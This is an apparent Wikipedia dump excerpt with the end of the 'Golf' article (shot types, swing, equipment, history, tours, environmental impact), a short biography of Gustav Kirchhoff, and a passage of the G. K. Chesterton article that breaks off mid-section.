*A ''fairway shot'' is similar to a drive when done with a ''fairway wood''. However, a tee may not be used once the ball has been brought into play; therefore, playing from the fairway may be more difficult depending on how the ball lies. If precision is more important than length (typically, when playing on narrow fairways or approaching a green), ''irons'' are usually played from the fairway. Irons or wedges are also often used when playing from the rough.

*A ''bunker shot'' is played when the ball is in a ''bunker'' (''sand trap''). It resembles a pitch and is played with a &quot;sand wedge.&quot; The sand wedge is designed with a wider base allowing the club to skid in the sand.

*On the green, a putter is used to 'putt' the ball. The ball rolls on the ground, never becoming air-borne.

An ''approach shot'' is played into the green from outside the green, usually over an intermediate or short distance. Types of approach shots are:

*''Pitch'': a high approach shot that makes the ball fly high and roll very little, stopping more or less where it hits the ground. Pitches are usually done with a ''wedge''.

*''Flop'': an even higher approach shot that stops shortly after it hits the ground. It is used when a player must play over an obstacle to the green. It is usually played with a sand wedge or a lob wedge.

*''Chip'': a low approach shot where the ball makes a shallow flight and then rolls out on the green. Chips are made with a less lofted club than the &quot;pitch&quot; shot or &quot;lob&quot; shot in order to produce the desired flatter trajectory.

*''Punch/Knockdown'': a low shot that carries through the air in order to clear a low hanging tree branch or sometimes high winds.

===Poor shots===
There are several possible causes of poor shots, such as poor alignment of the club, wrong direction of swing, and off-center hits where the clubhead rotates around the ball at impact. Many of these troubles are aggravated with the &quot;longer&quot; clubs and higher speed of swing. Furthermore, the absolute effect of a deviation will increase with a longer shot compared with a short one.

Poor shots include the ''hook'', in which the ball curves to the left (for a right-handed player),  a ''slice'', in which the ball curves to the right (for a right-handed player; the reverse are true for left-handers), and a ''shank'', in which the ball shoots sharply to the right (for a right handed player). As a point of safety, it is mandatory to shout &quot;Fore!&quot; whenever there is a chance that a ball might hit any person on the course.

===The golf swing===
Putts and short chips are ideally played without much movement of the body, but most other golf shots are played using variants of the full golf swing. The full golf swing itself is used in tee and fairway shots.

A full swing is a complex rotation of the body aimed at accelerating the club head to a great speed. For a [[right-handed]] golfer, it consists of a ''backswing'' to the right, a ''downswing'' to the left (in which the ball is hit), and a ''follow through''. At ''address'', the player stands with the left [[shoulder]] and hip pointing in the intended direction of ball flight, with the ball before the feet. The club is held with both [[hand]]s (right below left), the clubhead resting on the ground behind the ball, [[hip]]s and [[knee]]s somewhat flexed, and the arms hanging from the shoulders. The backswing is a rotation to the right, consisting of a shifting of the player's body weight to the right side, a turning of the [[pelvis]] and shoulders, lifting of the arms and flexing of the [[elbow]]s and [[wrist]]s. At the end of the backswing the hands are above the right shoulder, with the club pointing more or less in the intended direction of ball flight. The downswing is roughly a backswing reversed. After the ball is hit, the follow-through stage consists of a continued rotation to the left. At the end of the swing, the weight has shifted almost entirely to the left foot, the body is fully turned to the left and the hands are above the left shoulder with the club hanging down over the players' back.

The full golf swing is an unnatural, highly complex motion and notoriously difficult to learn. It is not uncommon for beginners to spend several months practising the very basics before playing their first ball on a course. It is usually considered impossible to acquire a stable and successful swing without [[golf instruction|professional instruction]] and even highly skilled golfers may continue to take golf lessons for many years. One can also purchase or use a new [[golf simulator]] that can cost upwards of $50,000. 

Relatively few golfers play left-handed (i.e., swing back to the left and forward to the right), with even players who are strongly [[left-handed]] in their daily life preferring the right-handed golf swing. In the past, this may have been due to the difficulty of finding left-handed golf clubs. Today, more manufacturers provide left-handed versions of their club lines, and the clubs are more readily purchased from mail-order and Internet catalogues. A golfer who plays right-handed, but holds the club left-hand-below-right is said to be &quot;cack-handed&quot;. It is difficult to obtain the same consistency and power with this arrangement as is possible with conventional technique. 

Besides the physical part, the [[mental]] aspect contributes to the difficulty of the golf swing. Golfers play against the course, not each other directly, and hit a stationary object, not one put into motion by an opponent. This means that there is never anyone to blame but oneself for a bad result, and in most competitive formats there are no teammates to directly help one out. Knowledge of this creates a great deal of psychological pressure on the golfer; this pressure exists at all levels of play. Even the best professional golfers sometimes succumb to this pressure, such as [[Bernhard Langer|getting the &quot;yips&quot;]] and being unable to make short putts, or having [[Ian Baker-Finch|collapses]] of their full swing.

===Physics of a golf shot===
A [[golf ball]] acquires spin when it is hit. ''Backspin'' is imparted in almost every shot due to the golf club's ''loft'' (i.e., angle between the clubface and a vertical plane). A spinning ball deforms the flow of air around it [http://wings.avkids.com/Book/Sports/instructor/golf-01.html] and thereby acts similar to an aeroplane wing; a back-spinning ball therefore experiences an upward force which makes it fly higher and longer than a ball without spin would. The amount of backspin also influences the behavior of a ball when it hits the ground. A ball with little backspin will usually roll out for a considerable distance while a ball with much backspin may not roll at all or in some cases even roll backwards. ''Sidespin'' occurs when the clubface is not aligned perpendicularly to the plane of swing. Sidespin makes the ball curve to the left or right, a ''hook'' or ''slice'' respectively for a right-handed player; this effect can be made use of to steer it around obstacles or towards the safe side of a difficult fairway. However, it is difficult to control the amount of sidespin, and many poor shots result from uncontrolled or excessive spin that makes the ball curve sharply.

==Equipment==
===Golf clubs===
{{main|Golf club (equipment)}}

A player usually carries several clubs during the game (but no more than fourteen, the limit defined by the rules). There are three major types of clubs, known as ''woods'', ''irons'', and ''putters''. ''Wedges'' are irons used to play shorter shots. Woods are played for long shots from the tee or fairway, and occasionally rough, while irons are for precision shots from fairways as well as from the rough. A new type of wood known as a &quot;hybrid&quot; combines the straight-hitting characteristics of irons with the easy-to-hit-in-the-air characteristics of higher-lofted woods. A &quot;hybrid&quot; is often used for long shots from difficult rough. Hybrids are also used by players who have a difficult time getting the ball airborne with long irons. Wedges are played from difficult ground such as sand or the rough and for approach shots to the green. Putters are mostly played on the green, but can also be useful when playing from bunkers or for some approach shots.

[[Image:Golfballinsiderp.jpg|right|thumb|golfball with a tough rubber core]]
===Golf balls===
{{main|Golf ball}}
The minimum allowed diameter of a golf ball is 42.67mm and its mass may not exceed than 45.93g. Modern golf balls have a two, three, or four layer design constructed from various synthetic materials. The surface usually has a pattern of 300-400 dimples designed to improve the ball's aerodynamics. The method of construction and materials used greatly affect the ball's playing characteristics such as distance, trajectory, spin and feel. Harder materials, such as Surlyn, usually result in the ball's traveling longer distances, while softer covers, such as Balata, tend to generate higher spin, more &quot;feel&quot; and greater stopping potential.

===Other equipment===
[[Image:tees.jpg|right|thumb|100px|Golf tees, used to prop up the ball on the tee]]

Sometimes [[transport]] is by special [[golf cart]]s. Clubs and other equipment are carried in [[golf bag]]s. Golfers wear special [[shoe]]s with exchangeable spikes (or little plastic claws termed ''soft spikes'') attached to the soles. They also often wear [[gloves]] that help grip the club. ''[[Tee]]s'' resemble nails with a flattened head and are usually made of wood or plastic. A tee is pushed into the ground to rest a ball on top of for an easier shot; however, this is only allowed for the first stroke (''tee shot'' or ''drive'') of each hole. When on the green, the ball may be picked up to be cleaned or if it is in the way of an opponent's putting line; its position must then be marked using a ''ball marker'' (usually a flat, round piece of plastic or a coin). A ''ball mark repair tool'' (or ''pitchfork'') is used to repair a ''ball mark'' (depression in the green where a ball has hit the ground). To repair a ball mark, one pushes the tool under the mark, and lifts upwards gently, loosening the compacted turf to allow rapid regrowth of grass. Scores are recorded on a ''score card'' during the round.

==History==
''See also [[Timeline of golf history 1353-1850]], [[Timeline of golf history 1851-1945]], and [[Timeline of golf history 1945-1999]].''

Golf is usually regarded as a [[Scotland|Scottish]] invention, as the game was mentioned in two [[15th-century]] laws prohibiting the playing of the game of &quot;gowf&quot;. Some scholars, however, suggest that this refers to another game which is much akin to [[shinty]] or [[hurling]], or to modern [[field hockey]]. They point out that a game of putting a small ball in a hole in the ground using ''golf clubs'' was played in [[17th-century]] [[Netherlands]]. The term ''golf'' is believed to have originated from a [[Germanic languages|Germanic]] word for &quot;club&quot;. 

The oldest playing golf course in the world is The Old Links at [[Musselburgh]]. Evidence has shown that golf was played on Musselburgh Links in 1672 although Mary Queen of Scots reputedly played there in 1567.

Golf courses have not always had eighteen holes. The [[St Andrews Links]] occupy a narrow strip of land along the sea.  As early as the 15th century, golfers at St. Andrews established a customary route through the undulating terrain, playing to holes whose locations were dictated by topography.  The course that emerged featured eleven holes, laid out end to end from the clubhouse to the far end of the property.  One played the holes out, turned around, and played the holes in, for a total of 22 holes. In 1764, several of the holes were deemed too short, and were therefore combined.  The number was thereby reduced from 11 to nine, so that a complete round of the links comprised 18 holes.

The major changes in equipment since the 19th century have been better mowers, especially for the greens, better golf ball designs, using rubber and man-made materials since about [[1900]], and the introduction of the metal shaft beginning in the 1930s. Also in the 1930s the wooden golf tee was invented. In the 1970s the use of metal to replace wood heads began, and shafts made of graphite composite materials were introduced in the 1980s.

It was reported in January 2006 that recent evidence unearthed by Prof. Ling Hongling of [[Lanzhou University]] suggests that a game similar to modern-day golf was played in [[China]] at least 500 years before golf was first mentioned in [[Scotland]]. Archives called the ''Dongzuan Records'' from the [[Song Dynasty]] describe a game called ''chuiwan'' and also include drawings. It was played with 10 clubs including a ''cuanbang'', ''pubang'', and ''shaobang'', which are comparable to a driver, two-wood, and three-wood. The archive also includes references to a Nan [[Tang Dynasty]] [[magistrate]] who asked his daughter to make &quot;holes&quot; for him to play, and describes his &quot;tee&quot; as being jewel-encrusted. There were further descriptions of clubs being inlaid with [[jade]] and [[gold]], suggesting golf was for the wealthy. Hongling suggested golf may have been exported to Europe and then Scotland by [[Mongolian]] travellers in the late [[Middle Ages]]- although there is no evidence for this. [http://www.upi.com/NewsTrack/view.php?StoryID=20060112-022844-5548r] [http://seattlepi.nwsource.com/othersports/255299_sportsbeat12.html] [http://sportsillustrated.cnn.com/2006/golf/01/12/china.golf/] [http://news.scotsman.com/index.cfm?id=46872006]

==Social aspects of golf==
In the [[United States]], golf is the unofficial game of the business world. It is often said that [[board of directors | board]] meetings merely confirm decisions that are actually made on the golf course. For this reason, the successful conduct of business golf (which extends beyond merely knowing the game) is considered a useful business skill; various schools, including prestigious universities such as [[Stanford University]], have started both undergraduate and graduate-level courses that teach &quot;business golf.&quot;  The PGA of America, an organization separate from the PGA Tour, helps to sponsor these programs at universities nationwide.

Golf is not inherently an expensive activity; the cost of an average round of golf is [[USD]] $36 [http://www.ngf.org], and the game is regularly enjoyed by over 26 million Americans and many more world-wide. In fact, most regions of the United States feature public courses which strive to be affordable for the average golfer. But the perception of golf as a game for the wealthy elite and [[Country_Club|country clubs]] as a haven for corrupt businessmen is common among many. Films such as ''[[Caddyshack]]'' perpetuate this belief. 

This being said the social status of better (and usually more expensive) equipment cannot be overlooked. In order to be outfitted with the latest equipment (including rather expensive clothing, shoes and gloves) one can end up spending quite a sum. Also, green fees at some of the more picturesque and prestigious courses can be quite sizeable.

==Golfing countries==
In 2005 ''[[Golf Digest]]'' calculated that there were nearly 32,000 golf courses in the world, approximately half of them in the [[United States]]. [http://www.golfdigest.com/planetgolf/] The countries with most golf courses in relation to population, starting with the best endowed were: [[Scotland]], [[New Zealand]], [[Australia]], [[Republic of Ireland]], [[Northern Ireland]], [[Canada]], [[Wales]], [[United States]], [[Sweden]], and [[England]] (countries with less than 500,000 people were excluded). Apart from Sweden all of these are countries where [[English language|English]] is the main language, but the number of courses in new golfing territories is increasing rapidly. For example the first golf course in the [[People's Republic of China]] only opened in the mid-1980s, but by [[2005]] there were 200 courses in that country.

The professional game was initially dominated by British golfers, but since [[World War I]], America has produced the greatest quantity of leading professionals. Other [[Commonwealth]] countries such as [[Australia]] and [[South Africa]] are also traditional powers in the game. Since around the 1970s, [[Japan]], [[Scandinavia]]n and  other [[Western Europe]]an countries have produced leading players on a regular basis. The number of countries with high-class professionals continues to increase steadily, especially in [[East Asia]]. [[South Korea]] is notably strong in women's golf. More information is available at [http://www.golf.com.au].

==Professional golf==
Golf is played professionally in many different countries. The majority of [[professional golfer]]s work as club or teaching professionals, and only compete in local competitions. A small elite of professional golfers are &quot;tournament pros&quot; who compete full time on international &quot;tours&quot;.

===Golf tours===
[[Image:Tiger Woods.jpg|right|thumb|200px|[[Tiger Woods]], who is currently the leading professional golfer in the World.]]
{{main|Professional golf tours}}

There are at least twenty professional golf tours, each run by a [[PGA]] or an independent tour organisation, which is responsible for arranging events, finding sponsors, and regulating the tour. Typically a tour has &quot;members&quot; who are entitled to compete in all of its events, and also invites non-members to compete in some of them. Gaining membership of an elite tour is highly competitive, and most professional golfers never achieve it.

The most widely known tour is the [[PGA TOUR]] (officially rendered in all caps), which attracts the best golfers from all the other men's tours. This is due mostly to the fact that most PGA TOUR events have a first prize of at least [[United States dollar|USD]] 800,000. PGA TOUR wins can mean endorsement deals, automatically provide the winner a minimum two-year exemption to play in other tournaments, and supply the prestige earned by beating the best of the best. The [[PGA European Tour]], which attracts a substantial number of top golfers from outside North America, ranks only slightly below the PGA TOUR in worldwide prestige. Some top professionals from outside North America play enough tournaments to maintain membership on both the PGA TOUR and European Tour. There are several other men's tours around the world.

The Sunshine is being played in South Africa, Asian Tour is associating with The European Tour to host European Tour level tournaments in Asia. In 2005, China started a China Tour. The Japan Tour is the 3rd biggest Tour overall, it has the best sponsors besides the PGA Tour.

Golf is unique in having lucrative competition for older players. There are several senior tours for men 50 and older, the best known of which is the U.S.-based [[Champions Tour]]. 

There are five principal tours for women, each based in a different country or continent. The most prestigious of these is the U.S-based [[LPGA Tour]].

===Men's major championships===
{{main|Men's major golf championships}}
The major championships are the four most prestigious men's tournaments of the year. In current (2005) chronological order they are:

* [[The Masters Tournament|The Masters]]
* [[U.S. Open (golf)|U.S. Open]]
* [[The Open Championship]] (referred to in North America as the ''British Open'')
* [[PGA Championship]]

The fields for these events include the top several dozen golfers from all over the world. The Masters has been played at Augusta National Golf Club in [[Augusta, Georgia]] since its inception in 1934. The U.S. Open and PGA Championship are played at various courses around the United States, while The Open Championship is played at various courses in the UK. 

The number of major championships a player accumulates in his career has a very large impact on his stature in the game. [[Jack Nicklaus]] is widely regarded as the greatest golfer of all time, largely because he has won a record 18 professional majors, or 20 majors in total if his two [[U.S. Amateur]]s are included. [[Tiger Woods]], who may be the only golfer likely to challenge Nicklaus's record, has won ten professional majors (13 total if his three U.S. Amateurs are included), all before the age of thirty. Woods also came closest to winning all four current majors in one season (known as a [[Grand Slam of golf|Grand Slam]] completed first by Bobby Jones) when he won them consecutively across two seasons: the 2000 U.S. Open, Open Championship, and PGA Championship; and the 2001 Masters. This feat has been frequently called the ''Tiger Slam''. 

Prior to the advent of the PGA Championship and The Masters, the four Majors were the U.S. Open, the U.S. Amateur, the Open Championship, and the [[The Amateur Championship|British Amateur]]. These are the four that [[Bobby Jones (golfer)|Bobby Jones]] won in [[1930]] to become the only player ever to have earned a Grand Slam.

===Women's majors===
{{main|Women's major golf championships}}
Women's golf does not have a globally agreed set of majors. The LPGA's list of majors has changed several times over the years, with the last change in 2001. Like the PGA TOUR, the LPGA currently has four majors: 

* [[Kraft Nabisco Championship]]
* [[U.S. Women's Open (golf)|U.S. Women's Open]]
* [[LPGA Championship]]
* [[Women's British Open]]

Only the last of these is also recognised by the [[Ladies European Tour]].

In 2003 [[Annika Sörenstam]] was the first woman after fifty years who started at a men's PGA Tour.

==Environmental impact==
[[Environmentalism|Environmental concerns]] over the use of land for golf courses have grown over the past 30 years. Specific concerns include the amount of water and chemical [[pesticide]]s and [[fertilizer]]s used for maintenance, as well as the destruction of [[wetland]]s and other environmentally important areas during construction.

[[Image:deer_on_golf_course.jpg|thumb|300px|left|Wildlife is sometimes seen on golf courses but not encouraged due to damage it causes to the course.]]
These, along with health and cost concerns, have led to significant research into more environmentally sound practices and turf grasses. The modern golf course superintendent is well trained in the uses of these practices and grasses. This has led to reductions in the amount of chemicals and water used on courses. The turf on golf courses is an excellent filter for water and has been used in many communities to cleanse grey water. While many people continue to oppose golf courses for environmental reasons, there are others who feel that they are beneficial for the community and the environment as they provide corridors for migrating animals and sanctuaries for birds and other wildlife.  

A major result of modern equipment is that today's players can hit the ball much further than previously. In a concern for safety, modern golf course architects have had to lengthen and widen their design envelope. This has led to a ten percent increase in the amount of area that is required for golf courses today. At the same time, water restrictions placed by many communities have forced many courses to limit the amount of maintained turf grass. While most modern 18-hole golf courses occupy as much as 60 ha (150 acres) of land, the average course has 30 ha (75 acres) of maintained turf. (Sources include the National Golf Foundation and the Golf Course Superintendents Association of America [GCSAA].) 

Golf courses are built on many different types of land, including sandy areas along coasts, abandoned farms, strip mines and quarries, deserts and forests. Many Western countries have instituted significant environmental restrictions on where and how courses can be built.

In some parts of the world, attempts to build courses and resorts have led to significant protests along with vandalism and violence by both sides. Although golf is a relatively minor issue compared to other [[land-ethics]] questions, it has symbolic importance as it is a game normally associated with the wealthier Westernized population, and the culture of colonization and globalization of non-native land ethics. Resisting golf [[tourism]] and golf's expansion has become an objective of some [[land reform|land-reform]] movements, especially in the [[Philippines]] and [[Indonesia]].

In [[Saudi Arabia]], golf courses have been constructed on nothing more than oil-covered sand. However, in some cities such as [[Dhahran]], modern, grass golf courses have been built recently.

In [[Coober Pedy]], [[Australia]], there is a famous golf course that consists of nine holes dug into mounds of sand, diesel and oil and not a blade of grass or a tree to be seen. You carry a small piece of [[astroturf]] from which you tee.

In [[New Zealand]] it is not uncommon for rural courses to have greens fenced off and sheep graze the fairways.

Many golf courses have been displaced by urban planning practices.  Many things that displace golf courses range from [[neighborhood]]s to [[shopping mall]]s.

==See also==
* [[Golf glossary]]
* [[List of golfers]]
* [[List of golfers with most major title wins]]
* [[Golfers with most PGA Tour wins]]
* [[PGA TOUR]]
* [[PGA European Tour]]
* [[Ryder Cup]]
* [[Golf instruction]]
* [[2005 in golf]]
* [[Nineteenth hole]]
* [[Word golf]]
* [[Perl Golf]]
* [[Urban Golf]]

==External links==
* [http://www.theherald.co.uk/news/54020.html  Golf: the royal and ancient Chinese game]
* [http://www.usga.org/ United States Golf Association]
* [http://www.iagcp.org/ International Association of Golf Club Presidents]
* [http://www.internationalgolffederation.org/ International Golf Federation]
* [http://www.ega-golf.ch/ European Golf Association]

[[Category:Golf| ]]
[[Category:Individual sports]]
[[Category:Precision sports]]
[[Category:Ball games]]
[[Category:Economy of Scotland]]
[[Category:Scottish cultural icons]]
[[Category:Sport in America]]

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    <title>Gustav Robert Kirchhoff</title>
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    <title>Gustav Kirchhoff</title>
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      <text xml:space="preserve">[[image:Gustav Kirchhoff.jpg|left|thumb|200px|Gustav Kirchhoff]]

'''Gustav Robert Kirchhoff''' ([[March 12]], [[1824]] &amp;ndash; [[October 17]], [[1887]]), a [[Germany|German]] [[physicist]] who contributed to the fundamental understanding of [[electrical circuit]]s, [[spectroscopy]], and the emission of [[black-body]] radiation by heated objects.  He coined the term &quot;black body&quot; radiation in [[1862]], and two sets of independent concepts in both circuit theory and thermal emission are named &quot;[[Kirchhoff's laws]]&quot; after him.

Gustav Kirchhoff was born in [[Kaliningrad|Königsberg]], [[Prussia]] (now Kaliningrad, [[Russia]]), the son of  Friedrich Kirchhoff, a lawyer, and Johanna Henriette Wittke.  He graduated from the Albertus University of Königsberg (now Kaliningrad) in 1847 and married Clara Richelot, the daughter of his mathematics professor Friedrich Richelot.  In the same year, they moved to [[Berlin]], where he stayed until he received a professorship at [[Breslau]] (now Wroclaw).

Kirchhoff formulated his [[Kirchhoff's circuit laws|circuit laws]], which are now ubiquitous in [[electrical engineering]], in [[1845]], while still a student.    He proposed his [[Kirchhoff's law of thermal radiation|law of thermal radiation]] in [[1859]], and gave a proof in [[1861]]. At Breslau, he collaborated in spectroscopic work with [[Robert Bunsen]], he was a co-discoverer of [[caesium]] and [[rubidium]] in 1861 while studying the chemical composition of the [[Sun]] via its spectral signature.

Later, he postulated three empirical laws describing the [[optical spectrum|spectral]] composition of [[light]] emitted by incandescent objects.

#A hot solid object produces light with a continuous spectrum.
#A hot tenuous gas produces light with [[spectral line]]s at discrete [[wavelength]]s (i.e. specific colors) which depend on the energy levels of the atoms in the gas.  (''See also:'' [[emission spectrum]])
#A hot solid object surrounded by a cool tenuous gas (i.e. cooler than the hot object) produces light with an almost continuous spectrum which has gaps at discrete wavelengths depending on the energy levels of the atoms in the gas.

The existence of these discrete lines was later explained by the [[Bohr model]], which helped lead to the development of [[quantum mechanics]].

==See also==
* [[Kirchoff's voltage law]]
* [[Kirchhoff's current law]]
* [[Piola-Kirchhoff stress tensor]]

== References ==
* [http://chem.ch.huji.ac.il/~eugeniik/history/kirchhoff.htm Short biography]
* {{MacTutor Biography|id=Kirchhoff}}

[[Category:1824 births|Kirchhoff, Gustav Robert]]
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    <title>G. K. Chesterton</title>
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      <text xml:space="preserve">[[Image:Gkc.jpg|thumb|right|G.K. Chesterton]]

'''Gilbert Keith Chesterton''' ([[29 May]], [[1874]] &amp;ndash; [[14 June]], [[1936]]) was a prolific  [[England|English]] writer of the early 20th century. He was both a popular and an influential writer during this period, inspiring many historic figures with his works. He was notably concerned in what he wrote with religious matters, and was received into the [[Roman Catholic Church]] in 1922.

Chesterton has been called the &quot;prince of paradox&quot;. He wrote in an off-hand, whimsical prose studded with startling formulations.  For example: &quot;Thieves respect property. They merely wish the property to become their property that they may more perfectly respect it.&quot;  

==Life==

[[Image:Gkc16.jpg|right|thumb|100px|Chesterton at the time of his engagement, 1898]]

Born in [[Campden Hill]], [[Kensington]], [[London]], Chesterton was educated at [[St Paul's School]], and later went to the [[Slade School of Art]] in order to become an illustrator. In 1900, Chesterton was asked to write a few magazine articles on art criticism, which sparked his interest in writing. He went on to become one of the most prolific writers of all time.

Chesterton was a large man, standing 6 feet 4 inches (1.93 m) and weighing around 21 [[stone (weight)|stone]] (134 kg or 294 lb). His girth gave rise to a famous anecdote. During World War I a lady in London asked why he wasn't 'out at the Front'; he replied 'if you go round to the side, you will see that I am'. He usually wore a cape and a crumpled hat, with a swordstick in hand, and had a cigar hanging out of his mouth. Chesterton rarely remembered where he was supposed to be going and would even miss the train that was supposed to take him there.

It was not uncommon for him to send a telegram to his wife, Frances Blogg, whom he married in 1901, from some distant (and incorrect) location writing such things as, &quot;Am at Market Harborough. Where ought I to be?&quot; to which she would reply, &quot;Home.&quot; 

Once ''[[The Times]]'' invited several eminent authors to write essays on the theme, &quot;What's Wrong with the World?&quot;. Chesterton's contribution took the form of a letter:

:''Dear Sirs,''

:''I am.''

:''Sincerely yours,''
:''G. K. Chesterton'' 

Typically, Chesterton here combined wit with a serious point (human sinfulness) and self-deprecation.

Chesterton loved to debate, often publicly debating with friends such as [[George Bernard Shaw]], [[H. G. Wells]], [[Bertrand Russell]], and [[Clarence Darrow]]. According to his autobiography, he and George Bernard Shaw played cowboys in a silent movie that was never released.

The [[homily]] at Chesterton's [[Requiem|Requiem Mass]] in [[Westminster Cathedral]], [[London]], was delivered by [[Ronald Knox]]. Chesterton is buried in [[Beaconsfield]], [[Buckinghamshire]], in the [[Roman Catholic|Catholic]] Cemetery.

On [[1 October]], [[1936]], Chesterton's estate was [[probate]]d at 28,389 pounds sterling.

==Writing==

Chesterton wrote around 80 books, several hundred poems, some 200 short stories, 4000 [[essay]]s and a stage play. He was a literary and social critic, historian, playwright, novelist, Catholic Christian theologian and [[apologist]], debater, and mystery writer. He was a columnist for the ''Daily News'', ''Illustrated London News'', and his own paper, ''[[G. K.'s Weekly]]''. His best-known character is the priest-detective [[Father Brown]], who appeared only in short stories, while ''[[The Man Who Was Thursday]]'' is arguably his best-known novel. He was a convinced Christian long before he was received into the Catholic church, and Christian themes and symbolism appear in much of his writing. In the United States, his writings on [[distributism]] were popularized through ''[[The American Review]]'', published by [[Seward Collins]] in New York.  

Much of his poetry is little known, though well reflecting his beliefs and opinions. The best written is probably ''[[s:Lepanto|Lepanto]]'', with ''[[s:The Rolling English Road|The Rolling English Road]]'' the most familiar, and ''The Secret People'' perhaps the most quoted (&quot;we are the people of England; and we have not spoken yet&quot;).

Of his non-fiction, [[Charles Dickens]] (1903) has received some of the broadest-based praise. According to Ian Ker (''The Catholic Revival in English Literature, 1845-1961'', 2003), &quot;In Chesterton's eyes Dickens belongs to Merry, not Puritan, England&quot; (see [[Merry England]]); Ker treats in Chapter 4 of that book Chesterton's thought as largely growing out of his true appreciation of Dickens, a somewhat shop-soiled property in the view of other literary opinions of the time. 

Much of Chesterton's work remains in print, including collections of the Father Brown detective stories. [[Ignatius Press]] is presently undertaking a monumental Complete Works. [[Michael Collins (Irish leader)|Michael Collins]] read some of the Father Brown stories from which he reportedly drew some ideas which he would later utilize during the [[Anglo-Irish War]] (1919-1921).

==Chesterton, his views and contemporaries==

Chesterton's writings consistently displayed wit and a sense of humour. He deployed [[paradox]], while making serious comments on the world, government, politics, economics, philosophy, theology and many other topics. The roots of his approach have been taken to be in two earlier strands in English literature, Dickens being one. In the use of paradox, against complacent acceptance of things as they are, he is often categorised with [[Oscar Wilde]], and [[George Bernard Shaw]], whom he knew well, as Victorian satirists and social commentators in a tradition coming also from [[Samuel Butler (1835-1902)|Samuel Butler]]. 

Chesterton's style and thinking were all his own, however, and his conclusions were often diametrically opposed to those of his predecessors and contemporaries. In his book ''[[Heretics (book)|Heretics]]'', Chesterton has this to say of Oscar Wilde:

:''The same lesson [of the pessimistic pleasure-seeker] was taught by the very powerful and very desolate philosophy of Oscar Wilde.  It is the carpe diem religion; but the carpe diem religion is not the religion of happy people, but of very unhappy people. Great joy does not gather the rosebuds while it may; its eyes are fixed on the immortal rose which Dante saw.''

Chesterton and George Bernard Shaw were famous friends and enjoyed their arguments and discussions. Although hardly ever agreeing, they both maintained good-will towards and respect for each other. However, in his writing, Chesterton expressed himself very plainly on where they differed and why. In ''Heretics'' he writes of Shaw that:

:''His weakness of introspection and selfishness in all their glory cannot prevent him fighting; but they will always prevent him winning.''

And:

:''In similar style, I hold that I am dogmatic and right, while Mr. Shaw is dogmatic and wrong. ... It may be true that the thing in Mr. Shaw most interesting to me, is the fact that Mr. Shaw is wrong.  But it is equally true that the thing in Mr. Shaw most interesting to himself, is the fact that Mr. Shaw is right.  Mr. Shaw may have none with him but himself; but it is not for himself he cares. It is for the vast and universal church, of which he is the only member.''

Shaw represented the new school of thought, [[humanism]], which was rising at the time. Chesterton's views on the other hand, became increasingly more polarised towards the church. In ''[[Orthodoxy (book)|Orthodoxy]]'' he writes: 

:''The worship of will is the negation of will. ... If Mr. Bernard Shaw comes up to me and says, &quot;Will something,&quot; that is tantamount to saying, &quot;I do not mind what you will,&quot; and that is tantamount to saying, &quot;I have no will in the matter.&quot;  You cannot admire will in general, because the essence of will is that it is particular.''

This style of argumentation is what Chesterton refers to as using 'Uncommon Sense', ie, that the thinkers and popular philosophers of the day, although very clever, were saying things that appeared, to him, to be non-sensical. This is illustrated again in ''Orthodoxy'':

:''Thus when Mr. [[H. G. Wells]] says (as he did somewhere), &quot;All chairs are quite different,&quot; he utters not merely a misstatement, but a contradiction in terms. If all chairs were quite different, you could not call them &quot;all chairs.&quot;

Or, again from ''Orthodoxy'':

:''The wild worship of lawlessness and the materialist worship of law end in the same void. [[Nietzsche]] scales staggering mountains, but he turns up ultimately in Tibet. He sits down beside [[Tolstoy]] in the land of nothing and [[Nirvana]]. They are both helpless—one because he must not grasp anything, and the other because he must not let go of anything. The Tolstoyan’s will is frozen by a [[Buddhist]] instinct that all special actions are evil. But the Nietzscheite’s will is quite equally frozen by his view that all special actions are good; for if all special actions are good, none of them are special. They stand at the crossroads, and one hates all the roads and the other likes all the roads. The result is—well, some things are not hard to calculate. They stand at the cross-roads.''

Incisive comments and observations occurred almost impulsively in Chesterton's writing. In the middle of his epic poem ''The Ballad of the White Horse'' he famously states:
:''For the great Gaels of Ireland''
:''Are the men that God made mad,''
:''For all their wars are merry,''
:''And all their songs are sad.''

==The ''Chesterbelloc'' and accusations of anti-Semitism==
''See [[G. K.'s Weekly]] for a fuller treatment''

Chesterton is often associated with his close friend, the poet and essayist [[Hilaire Belloc]]. Shaw coined the name ''Chesterbelloc'' for their partnership, and this stuck. Though they were very different men, they shared many beliefs; both eventually became Catholic, and voiced criticisms towards [[capitalism]] and [[socialism]] (see [[distributism]]). 

[[Hugh Kenner]] in ''A Sinking Island'' (p.111) asserts that 'He and Belloc had powerful minds, which their contrived personalities hid from the periodical public and also inhibited from real use'. ''[[G. K.'s Weekly]]'', which occupied much of Chesterton's energy in the last 15 years of his life, was the successor to Belloc's ''[[New Witness]]'', taken over from [[Cecil Chesterton]], Gilbert's brother who died in [[World War I]].

Both Chesterton and Belloc have been accused of [[anti-Semitism]], both during their lifetimes and subsequently. In ''[[The New Jerusalem]]'' Chesterton made it clear that he believed that there was a &quot;Jewish Problem&quot; in Europe, in the sense that he did not believe that Jews would fit well into his picture of an ideal Europe. He suggested the formation of a [[Jewish homeland]] as a solution, and was later invited to Palestine by Jewish Zionists who saw him as an ally in their goal to achieve just that. In 1934, after the [[Nazis]] took power in Germany he wrote that:   

&lt;blockquote&gt;''In our early days Hilaire Belloc and myself were accused of being uncompromising Anti-Semites.  Today, although I still think there is a Jewish problem, I am appalled by the Hitlerite atrocities. They have absolutely no reason or logic behind them.  It is quite obviously the expedient of a man who has been driven to seeking a scapegoat, and has found with relief the most famous scapegoat in European history, the Jewish people.''&lt;/blockquote&gt;

==Influence==

[[Image:G. K. Chesterton.jpg|thumb|right|G.K. Chesterton, seated]]
* Chesterton's ''The Everlasting Man'' contributed to [[C. S. Lewis]]' conversion to Christianity.
* Chesterton's biography of [[Charles Dickens]] was largely responsible for creating a popular revival for Dickens' work as well as a serious reconsideration of Dickens by scholars. Considered by [[T.S. Eliot]], [[Peter Ackroyd]], and others, to be the best book on Dickens ever written.
* Chesterton's ''[[Orthodoxy (book)|Orthodoxy]]'' has become a religious classic.
* Chesterton's novel ''[[The Napoleon of Notting Hill]]'' was a favorite  of [[Michael Collins (Irish leader)|Michael Collins]] who would later go on to lead the movement for [[Ireland|Irish]] independence. It has also been suggested that same book influenced [[George Orwell]] in the writing of [[Nineteen Eighty-Four]] (''The Napoleon of Notting Hill'' being partially set in 1984). However, Orwell himself gave no indication that this was the case.   
